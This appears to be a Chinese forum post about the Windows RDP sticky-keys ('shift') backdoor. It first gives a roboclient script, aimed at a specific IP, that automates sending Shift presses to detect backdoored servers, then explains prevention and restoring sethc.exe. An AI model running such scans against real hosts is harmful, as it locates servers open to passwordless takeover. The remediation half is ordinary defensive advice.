3389远程连接器的shift后门容易被破解的预防办法

首先3389的SHIFT后门极少

其次大部分SHIFT后门都加密

所以手工一个一个尝试是挺傻的，写成自动扫描的话，还能让人忍受

需要用到的工具 roboclient

smclient -f:shift_backdoor.txt -s:125.91.15.254 -l:1 -v -d

shift_backdoor.txt：

job

{

connect("","","",1,1);

sleep(2000);

senddata("WM_KEYDOWN",16,2752513);

senddata("WM_KEYUP",16,3223977985);

senddata("WM_KEYDOWN",16,2752513);

senddata("WM_KEYUP",16,3223977985);

senddata("WM_KEYDOWN",16,2752513);

senddata("WM_KEYUP",16,3223977985);

senddata("WM_KEYDOWN",16,2752513);

senddata("WM_KEYUP",16,3223977985);

senddata("WM_KEYDOWN",16,2752513);

senddata("WM_KEYUP",16,3223977985);

sleep(2000);

disconnect();

}

有些SHIFT后门被改成了按7次SHIFT，或者是WIN+U后门，改改shift_backdoor.txt把功能加进去即可

自动关闭错误连接

shift后门的解决办法

一日在网上看到了shift后门，说是按5下shift键服务器的系统盘就蹦出来了，不用输入密码！我一看，就怀着好奇的想法试了下果真如此，难怪我们的服务器总是出问题，查了下解决办法现在发出来，希望和我一样的菜鸟X级网管能有用。

打开控制面板－－辅助功能选项－－粘滞键－－设置－－去掉使用快捷键的勾

还有要改下copy.exe的权限，不过在这里推荐大家把c盘所有的程序都 改下，只有administrator才能访问

shift后门的预防解决办法：预防很简单的，连敲5次shift，然后在弹出的设置里面取消连滞键

已经中了的话

attrib c:\windows\system32\sethc.exe -h

attrib c:\windows\system32\dllcache\sethc.exe -h

拷贝新的 c:\windows\system32\sethc.exe 文件到 c:\windows\system32\目录下；拷贝新的c:\windows\system32\dllcache\sethc.exe到c:\windows\system32\dllcache\目录下

收工！